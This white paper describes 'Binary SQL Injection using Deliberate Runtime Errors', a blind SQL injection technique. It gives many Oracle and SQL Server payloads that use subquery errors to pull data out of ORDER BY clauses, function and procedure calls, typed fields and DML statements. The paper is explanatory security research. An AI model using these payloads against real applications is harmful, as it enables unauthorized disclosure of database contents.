SQL Injection Anywhere

White Paper

Binary SQL Injection using Deliberate Runtime Errors

An advanced SQL Injection exploitation technique, that allows the complete disclosure of information from (almost) any SQL Injection exposure.

Written by: Gil Cohen

Table of Contents

1. Introduction

This white paper discusses an advanced SQL Injection technique that enables exploitation through extraction of data, in situations that were considered non-exploitable, up until now.

Today, SQL Injection is considered exploitable when the SQL clause can be closed using a semicolon (in order to issue additional SQL commands), or when the injection is located in standard locations such as the ***WHERE*** and ***HAVING*** clauses of an SQL statement. The injection was considered non-exploitable when using semicolons is prohibited and the injection is located in non standard locations such as the ***ORDER BY*** clause, function calls or procedure calls.

This article discusses a new technique that allows exploitation and data extraction with SQL Injection, almost anywhere in the SQL statement, including non standard locations once considered non-exploitable.

This article does not explain the basics of SQL Injection, and it assumes the reader is already familiar with basic & advanced SQL Injection techniques. For background information on SQL injection, please refer to the ***References*** *section at the end of this document.*

Proof of concept

A proof of concept automated injection tool extracting data using this technique will be published soon by the author of this paper. For further details please refer the ***Summary*** section.

2. Binary SQL Injection – Brief Overview[1]

SQL Injection binary (Boolean) exploit utilizes the fact that we inject and execute a condition or sub-query on data stored in the database which will return either a TRUE or FALSE answer; the TRUE and FALSE "answers" must produce a different behavior that is detectable at the client side.

For example (Injected values are bolded):

`Select * from table where column = '' and 1=1--'`	Query returns rows
`Select * from table where column = '' and 1=2--'`	Query does not return rows

The application is affected by the outcome of the number of rows returned (search results, successful or unsuccessful authentication, exceptions or valid responses, etc).

Using the differences in application behavior caused by TRUE or FALSE condition injections, we can now inject logical conditions and find out if they are TRUE or FALSE, and associate those conditions to the database structure and data.

We can isolate and map field by field and letter by letter in the target mapped data, and execute a TRUE or FALSE condition that compares the currently mapped letter to constant letter values (using Text\ASCII comparison – `'a' < 'm'`), enumerate the character values in the current field, and eventually extract data. This way we can first extract data from the Data Base Dictionary (table and column names), and then extract interesting data from the user tables.

For example – an injection that enumerates the first letter of the third row in the system table ***all_tables***, and compares it to the constant-value letter **m**:

```
Select * from table where column = '' and 0 < (select count(*)
from (select name, rownum rownumber from all_tables) where
rownumber = 3 and name < 'm')--'
```

[1] This section discusses a brief review of the Binary Search SQL Injection technique. If you are familiar with this technique you can skip this section.

3. The Problem

SQL Injection, using the binary search technique as described in the previous section, enables an attacker to fetch data when the injection is located in standard locations such as the ***WHERE*** or ***HAVING*** clauses, and affects the number of rows fetched and the application's behavior accordingly.

When the injection is located in non standard locations such as ***ORDER BY*** or function/procedure calls (when using semicolon is not an option, due to database restrictions, input validation, etc), then the injection **cannot** be exploited using the conventional binary techniques, and thus, was considered non-exploitable up until now.

For example, when the malicious input is injected into the ***ORDER BY*** clause, the traditional methods restrict the exploitation to ***UNION*** exploit with the requirement that the query be enclosed by brackets (thus allowing ***UNION*** statements to be added after the ***ORDER BY*** clause).

Queries are rarely enclosed by brackets, causing union attempts to declare an error:

```
Select string from table order by 1 union select password from
users
```

***Error, cannot use union after order by*.**

Union statements are allowed after ***Order By*** clauses only when the first query is enclosed in brackets:

```
(Select string from table order by 1) union (select password from
users)
```

Although this feature is supported in standard SQL, it is rarely implemented in this manner.

The only thing an attacker can do in such a case using the traditional methods (assuming using a semicolon is not an option), is to change the sorting order of the fetched rows:

```
Select string from table order by 1 Desc
```

4. The Solution

Binary SQL Injection using Deliberate Runtime Errors

This paper explains how to exploit SQL Injection in non standard situations and practically anywhere (exceptions can be found in the ***Exceptions*** section).

In order to explain this technique, we'll discuss an example of a query vulnerable to SQL Injection in the ***ORDER BY*** clause.

When injecting an ***ORDER BY*** clause, an attacker can alter the order of the rows returned (as described in ***The Problem*** section), or inject constant values:

```
Select string from table order by 'a'

Select string from table order by 1
```

This works - but hardly affects the results, and definitely not exploitable.

Sub-queries can be used within the order by clause, but in this manner they **do not** affect the rows returned from the query (in this example, the injection is performed on an Oracle DB):

```
Select * from table order by (select 1 from dual)
```

This query is valid, but the returned data is not affected by the sub query.

So how can we exploit this vulnerable location without using a semicolon? (The usage of semicolons is restricted by oracle and certain other databases)

The answer:

The query will **only** be valid if the sub query returns 0 or 1 rows.

If the sub query returns more than 1 row, an error occurs:

```
Select * from table order by (select table_name from all_tables)
```

ORA-01427: Single-row sub-query returns more than one row.

An exploitation scenario can rely on this behavior, by injecting sub queries with binary (bolean) conditions that enumerate information using True or False "questions", and by determining the number of rows returned by the sub query - ***deliberately triggering DB errors*** when **TRUE** conditions are injected.

For example – a FALSE statement:

```
Select * from table order by (select 1 from dual union select 2
from dual where (1=2))
```

The query above is a valid query because the second **SELECT** statement in the **UNION** clause does not return any rows (a false condition is present), so only 1 row is returned from the sub-query. The injected module will act normally as if no injection occurred.

A TRUE statement:

```
Select * from table order by (select 1 from dual union select 2
from dual where (1=1))
```

The query above is not valid because 2 rows are returned from the sub-query and error is raised: ORA-01427: Single-row sub-query returns more than one row.

TRUE outcomes in the injected query will cause an error and abrupt normal behavior of the application.

You can also use this exploitation method while relying on zero rows returned from the sub query for a FALSE condition and multiple rows returned from the sub query in the case of a TRUE condition (SQL Server example):

```
Select * from table order by (select id from sysobjects where
(1=2))
```

The query above is a valid query because the sub query returns no rows.

```
Select * from table order by (select id from sysobjects where
(1=1))
```

The query above is invalid because there is more than one object in the `SysObjects` table so more than one row is returned.

Instead of the conditions ***1=1*** and ***1=2*** we can now inject normal binary SQL Injection logical conditions as described at the ***Binary SQL Injection – Brief Overview*** section.

The same technique can be used almost everywhere, including numeric, date and string fields (using string concatenation) in queries, function calls, DML statements, and more.

The major advantage of this technique is that usually you don’t even have to check or know where the injection is located! The only thing you have to know is the data type of the injectable field so you can generate a successful sub-query injection.

Examples for this technique in different locations and commands:

4.1. Order by Clause

4.1.1. Oracle Examples

```
Select * from table order by (select 1 from dual union select 2
from dual where (1=1))
```

Generates an error

```
Select * from table order by (select 1 from dual union select 2
from dual where (1=2))
```

Valid query

```
Select * from table order by (select table_name from all_tables
where (1=1))
```

Generates an error

```
Select * from table order by (select table_name from all_tables
where (1=2))
```

Valid query

4.1.2. SQL Server Examples

```
Select * from table order by (select ‘a’ union select ‘b’ where
(1=1))
```

Generates an error

```
Select * from table order by (select ‘a’ union select ‘b’ where
(1=2))
```

Valid query

```
Select * from table order by (select id from sysobjects where
(1=1))
```

Generates an error

```
Select * from table order by (select id from sysobjects where
(1=2))
```

Valid query

4.2. Function Call

4.2.1. Oracle Example

```
Select func('1', '2', (select 1 from dual union select 2 from dual
where (1=1))) from dual
```

Generates an error

```
Select func('1', '2', (select 1 from dual union select 2 from dual
where (1=2))) from dual
```

Valid query

4.2.2. SQL Server Example

```
Select func('1', '2', (select 1 union select 2 where (1=1)))
```

Generates an error

```
Select func('1', '2', (select 1 union select 2 where (1=2)))
```

Valid query

4.3. String Fields using String Concatenation

This injection technique is useful when:

- A parameter is used in more than one query and errors occur when trying to use the traditional injection techniques.
- Alteration of a logical condition in the ***WHERE*** clause does not affect the output displayed to the user (for examples in injection located in log operations)
- String parameters are used in a complicated manner.

4.3.1. Oracle Example

```
Select * from table where param='' || (select table_name from
all_tables where (1=1)) || ''
```

Generates an error

```
Select * from table where param='' || (select table_name from
all_tables where (1=2)) || ''
```

Valid query

4.3.2. SQL Server example

```
Select * from table where param='' + (select name from sysobjects
where (1=1)) + ''
```

Generates an error

```
Select * from table where param='' + (select name from sysobjects
where (1=2)) + ''
```

Valid query

4.4. Date Fields

4.4.1. Oracle Example

```
Select * from table where date=to_date('01/01/200' || (select '0'
from dual union select '1' from dual where (1=1)) || '')
```

Generates an error

```
Select * from table where date=to_date('01/01/200' || (select '0'
from dual union select '1' from dual where (1=2)) || '')
```

Valid query

4.4.2. SQL Server Example

```
Select * from table where date= CAST('2000-01-01` + (select name
from sysobjects where (1=1)) +'00 12:00' AS datetime)
```

Generates an error

```
Select * from table where date= CAST('2000-01-01` + (select name
from sysobjects where (1=2)) +'00 12:00' AS datetime)
```

Valid query

4.5. Numeric Fields

4.5.1. Oracle Example

```
Select * from table where num < (select 1 from dual union select 2
from dual where (1=1))
```

Generates an error

```
Select * from table where num < (select 1 from dual union select 2
from dual where (1=2))
```

Valid query

4.5.2. SQL Server Example

```
Select * from table where num < (select 1 union select 2 where
(1=1))
```

Generates an error

```
Select * from table where num < (select 1 union select 2 where
(1=2))
```

Valid query

4.6. Procedure call

This technique does not work in Oracle DB (sub queries are not supported in procedure calls in Oracle). For further details please refer to the ***Exceptions*** section.

4.6.1. SQL Server Example

```
exec proc('1','2', (select id sysobjects where (1=1)));
```

Generates an error

```
exec proc('1','2', (select id sysobjects where (1=2)));
```

Valid query

4.7. DML statement (not including insert with "values")

The disadvantage of injecting DML command and especially ***INSERT*** commands is that the attack generates a lot of "noise" as multiple rows are altered or inserted with FALSE conditions.

This can be solved when a Binary SQL Injection is present alongside detailed error messages. The attacker can inject a sub-query that results in a cast error when successful. This way, a "single-row sub-query" error will indicate a TRUE condition and a casting error will indicate a FALSE condition while not affecting, altering or inserting any row to the DB.

The casting error technique is recommended as it is considered to be the fastest, when used with automated tools (as mentioned before, a proof of concept tool will be published by the author – please refer the ***Summary*** section).

4.7.1. Oracle Insert Example:

```
Insert into table select 'a', 1, (select 'a' from dual union
select 'b' from dual where (1=1))
```

Generates an error (*single row sub-query* error)

```
Insert into table select 'a', 1, (select 'a' from dual union
select 'b' from dual where (1=2))
```

Valid query (or *casting* error, depends on the expect field type)

4.7.2. SQL Server Insert Example:

```
Insert into table select 'a', 1,'' + (select 'a' union select 'b'
where (1=1)) + ''
```

Generates an error

```
Insert into table select 'a', 1,'' + (select 'a' union select 'b'
where (1=2)) + ''
```

Valid query

4.7.3. Oracle Update Example:

```
update table set column=’’ || (select ‘a’ from dual union select
‘b’ from dual where (1=1)) || ‘’
```

Generates an error

```
update table set column =’’ || (select ‘a’ from dual union select
‘b’ from dual where (1=2)) || ‘’
```

Valid query

4.7.4. SQL Server insert example:

```
update table set column =’’ + (select ‘a’ union select ‘b’ where
(1=1)) + ‘’
```

Generates an error

```
update table set column =’’ + (select ‘a’ union select ‘b’ where
(1=2)) + ‘’
```

Valid query

5. Exceptions

There are few exceptions in which this technique cannot be used; the first exception is in Oracle DB procedure calls, and the second exception is in ***INSERT*** statements at the ***VALUES*** clause (with the exception of SQL Server 2008 which supports sub-queries inside the ***VALUES*** clause). When trying to use this technique in these locations, an error is generated, indicating that sub queries are not supported in the injection location.

Other confusing injectable locations are locations with short-circuits or DB optimization issues.

5.1. Procedure call in Oracle

```
exec proc('1','2', (select table_name from all_tables where (1=1)));
```

ORA-22818 sub-query expression not allowed here.

5.2. Insert statement with "Values"

5.2.1. Oracle Example:

```
Insert into table values ('a', 1,'' || (select 'a' from dual union select 'b' from dual where (1=1)) || '')
```

ORA-22818 sub-query expression not allowed here.

5.2.2. SQL Server Example:

(Fails in SQL Server 2000 and 2005 but Works in SQL Server 2008)

```
Insert into table values ('a', 1,'' + (select name from sysobjects where (1=1)) + '')
```

Sub-queries are not allowed in this context. Only scalar expressions are allowed.

5.3. DB Optimization issues

5.3.1. Order By clause with no data fetched:

```
Select string from table where 1=2 order by (select table_name
from all_tables)
```

This will not cause an error since no rows are fetched, and the DB does not process the `Order` by clause that is supposed to cause the error

5.3.2. Conditions with short circuits:

```
Select string from table where 1=2 and (select table_name from
all_tables)
```

This will not cause an error since the DB does not process the condition causing the error

```
Select string from table where 1=1 or (select table_name from
all_tables)
```

This will not cause an error since the DB does not process the condition causing the error

6. Summary

The Deliberate Runtime Error Binary SQL Injection technique is an extremely advanced and powerful technique that enables attackers to exploit almost every SQL Injection, regardless of the injection location.

By using this technique with advanced automated injection tools, Injectable locations in almost any part of the SQL statement will be prone to information disclosure, making the SQL Injection vulnerability even more dangerous and powerful.

A proof of concept automated injection tool (currently nicknamed ***Binary Searcher***) will be published by the author. This tool could be used to execute both traditional binary attacks and the new breed of attacks (using the deliberate runtime error technique).

I'll post updates about the new upcoming tool in my new security blog: **http://injectionwizard.blogspot.com**.

Safe development!

Gil Cohen

Gilc83@gmail.com

https://www.linkedin.com/in/gilc83/

7. References

SQL Injection general explanation in Wikipedia:

http://en.wikipedia.org/wiki/SQL_injection

Blindfolded SQL Injection by Ofer Maor and Amichai Shulman:

http://www.imperva.com/resources/whitepapers.asp?t=ADC#getting_syntax_right

http://www.imperva.com/lg/lgw.asp?pid=369

Using Binary Search with SQL Injection by Sverre H. Huseby:

http://shh.thathost.com/text/binary-search-sql-injection.txt